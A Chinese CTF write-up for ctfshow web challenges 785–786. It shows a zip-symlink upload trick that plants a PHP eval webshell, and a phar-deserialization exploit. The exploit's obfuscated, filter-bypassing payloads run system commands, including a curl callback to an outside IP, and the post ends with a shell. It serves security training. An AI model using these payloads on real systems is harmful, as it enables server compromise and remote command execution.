[ctfshow web入门-大赛原题]web785-786

281 阅读1分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第6天,点击查看活动详情 @TOC

0x00 前言

ctfshow web入门大赛原题 乱序写写 有新做的就补上去吧 稍微刷几个做的人比较少的heihei 顺便记录一下

0x01 brain.md

785

参考羽师傅的文章

ln -s /var/www/html test;zip -y test1.zip test;rm -rf test;mkdir test;cd test;echo '<?php eval($_POST[1]);?>' >a.php;cd ..;zip -q -r test2.zip test

brain.md: test文件夹覆盖掉软连接 test文件夹中的内容会写入原来test软连接对应的目录 在这里插入图片描述 我们动手实测一下 先在uploads目录下建立一个test软连接 然后在别的地方建立一个test文件夹里面随便放个东西 将test文件夹mv至uploads目录下 可以发现软连接所指向的目录多出了test文件夹里存放的东西

┌──(root💀kali)-[/tmp/uploads]
└─# ls
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# ln -s /var/www/html test
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# ls test                 
index.html  index.nginx-debian.html
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# cd ..          
                                                                                                                                                                                                                                                            
┌──(root💀kali)-[/tmp]
└─# mkdir test         
                                                                                                                              
┌──(root💀kali)-[/tmp]
└─# cd test           
                                                                                                                              
┌──(root💀kali)-[/tmp/test]
└─# touch 123                                                                                        
                                                                                                                              
┌──(root💀kali)-[/tmp/test]
└─# cd ..   
                                                                                                                              
┌──(root💀kali)-[/tmp]
└─# zip -r -y test.zip test
  adding: test/ (stored 0%)
  adding: test/123 (stored 0%)
                                                                                                                              
┌──(root💀kali)-[/tmp]
└─# mv test.zip uploads 
                                                                                                                              
┌──(root💀kali)-[/tmp]
└─# cd uploads 
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# unzip test.zip 
Archive:  test.zip
 extracting: test/123                
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# ls -li          
总用量 4
148282 lrwxrwxrwx 1 root root  13  6月  8 19:49 test -> /var/www/html
169893 -rw-r--r-- 1 root root 304  6月  8 19:50 test.zip
                                                                                                                              
┌──(root💀kali)-[/tmp/uploads]
└─# ls /var/www/html 
123  index.html  index.nginx-debian.html

niubi 又学到了

注意点:

在这里插入图片描述 zip --symlinks 压缩符号链接 (而非他们指向的文件) zip -y 一个效果

-y store symbolic links as the link instead of the referenced file

786

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-02-14 21:46:39
# @Last Modified by:   h1xa
# @Last Modified time: 2022-02-16 11:24:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once "class.php";

if(isset($_POST['name']) && isset($_POST['content'])){

    $file = $_POST['name'].".txt";
    $content = $_POST['content'];

    if(file_exists($file)){
        unlink($file);
    }

    file_put_contents($file,$content);

}else{
    highlight_file($_GET['show']?'class.php':__FILE__);
}

class.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-02-14 21:46:39
# @Last Modified by:   h1xa
# @Last Modified time: 2022-02-16 11:24:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class ctfshow{

    public $code="0";
    public $name="log.txt";


    public function __destruct(){
        if(preg_match("/[0-9]|[a-z]|!|@|#|%|&|\^|\*|-|\+|{|,|\?|\/|:|'|\"|<|>|\|/i",$this->code)!==0){
            $this->code = 'die("存在危险字符,禁止执行");';
        }

        file_put_contents($this->name,"<?php //".$this->code);
    }
}



?>

思路比较简单 先写phar包进去,然后unlink触发phar反序列化即可 唯一注意点就是class中的危险字符校验 以前做无字母数字rce是都是eval进行get或post传参,但让你直接file_put_contents()直接写可能会愣住 其实一个道理get or post传参会先对参数进行urldecode,这步直接放到脚本里做就行了 换行符 %0A绕过//注释过滤

我们先来本地试验一下

gene_shell 这里要用到取反

<?php 
$code=urldecode("%0a(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);");
if(preg_match("/[0-9]|[a-z]|!|@|#|%|&|\^|\*|-|\+|{|,|\?|\/|:|'|\"|<|>|\|/i",$code)!==0){
    $code = 'die("存在危险字符,禁止执行");';
    print("danger!");
    exit();
}

file_put_contents('test.php',"<?php //".$code);
?>

帅的 在这里插入图片描述 gene_phar.php php版本比较老 不支持函数名参数动态拼接执行..

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-02-14 21:46:39
# @Last Modified by:   h1xa
# @Last Modified time: 2022-02-16 11:24:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class ctfshow{

    public $code="0";
    public $name="log.txt";


    public function __destruct(){
        if(preg_match("/[0-9]|[a-z]|!|@|#|%|&|\^|\*|-|\+|{|,|\?|\/|:|'|\"|<|>|\|/i",$this->code)!==0){
            $this->code = 'die("存在危险字符,禁止执行");';
            print(preg_match("/[0-9]|[a-z]|!|@|#|%|&|\^|\*|-|\+|{|,|\?|\/|:|'|\"|<|>|\|/i",$this->code));
        }

        file_put_contents($this->name,"<?php //".$this->code);
    }
}


$a=new ctfshow();
$a->name="shell.php";
$a->code=urldecode('%0a$_=(~%8C%86%8C%8B%9A%92);$__=(~%9C%8A%8D%93%DF%CE%D1%CE%CA%D1%C9%C8%D1%CB%C7);$_($__);');

@unlink("2.phar.tar.gz");
    @unlink("2.phar");
    $phar = new Phar("2.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    // phar生成
?>

在这里插入图片描述

name=phar://shell.txt/test&content=1

再访问shell.php 我们可以看到成功回弹了 在这里插入图片描述 直接弹shell 在这里插入图片描述